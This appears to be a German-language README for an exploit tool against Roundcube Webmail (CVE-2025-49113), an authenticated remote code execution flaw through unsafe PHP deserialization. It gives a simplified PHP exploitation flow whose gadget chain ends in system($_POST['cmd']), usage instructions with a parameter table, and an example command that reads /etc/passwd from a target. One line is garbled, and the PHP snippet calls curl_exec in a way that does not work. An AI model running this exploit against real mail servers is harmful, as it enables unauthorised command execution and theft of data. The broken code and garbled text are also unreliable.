Authentifizierter Remote-Code-Execution-Exploit für Roundcube Webmail (CVE-2025-49113) durch unsichere Deserialisierung. Beinhaltet Session Injection, Gadget-Chain-Auslieferung und Shell-Befehlsausführung.
CVE-2025-49113 ist eine kritische unsichere Deserialisierungsschwachstelle in Roundcube Webmail, die authentifizierte Remote-Codeausführung ermöglicht. Die Schwachstelle resultiert aus unsachgemäßer Behandlung serialisierter PHP-Objekte bei Datei-Upload-Vorgängen.
program/steps/mail/attach.inc_file-Parameters ohne ordnungsgemäße Validierung_form-Parameterfilename-Parameter_form-Parametersystem()-Funktion zur Ausführung von Shell-Befehlen// Simplified exploitation flow
$target_url = $base_url . "?_task=mail&_action=upload&_form=injected_session_data";
$post_data = [
'_file' => '{"name":"malicious_object_gadget","path":"..."}',
'file' => curl_file_create('fake.png', 'image/png', 'exploit.png')
];
$response = curl_exec($target_url, $post_data);
// Vulnerable deserialization occurs in attach.inc processing
// Gadget chain triggers command execution: system($_POST['cmd']);
php CVE-2025-49113-exploit_cookies.php <url> <cookies> <command>
| Parameter | Beschreibung | Beispiel |
|---|---|---|
<url> | Basis-URL der Roundcube-Installation | https://mail.example.com/roundcube/ |
<cookies> | Gültige Sitzungs-Cookies | roundcube_sessid=abc123; roundcube_sessauth=xyz456 |
<command> | Betriebssystembefehl zur Ausführung | id oder whoami |
php CVE-2025-49113-exploit_cookies.php \
https://mail.example.com/roundcube/ \
"roundcube_sessid=abc123; roundcube_sessauth=xyz456" \
"cat /etc/passwd"
Diese Informationen dienen ausschließlich Bildungszwecken. Nicht autorisierte Tests gegen Systeme ohne ausdrückliche Genehmigung sind illegal. Holen Sie immer die entsprechende Genehmigung ein, bevor Sie Sicherheitsbewertungen durchführen. Die Autoren und Herausgeber übernehmen keine Verantwortung für jeglichen Missbrauch dieser Informationen.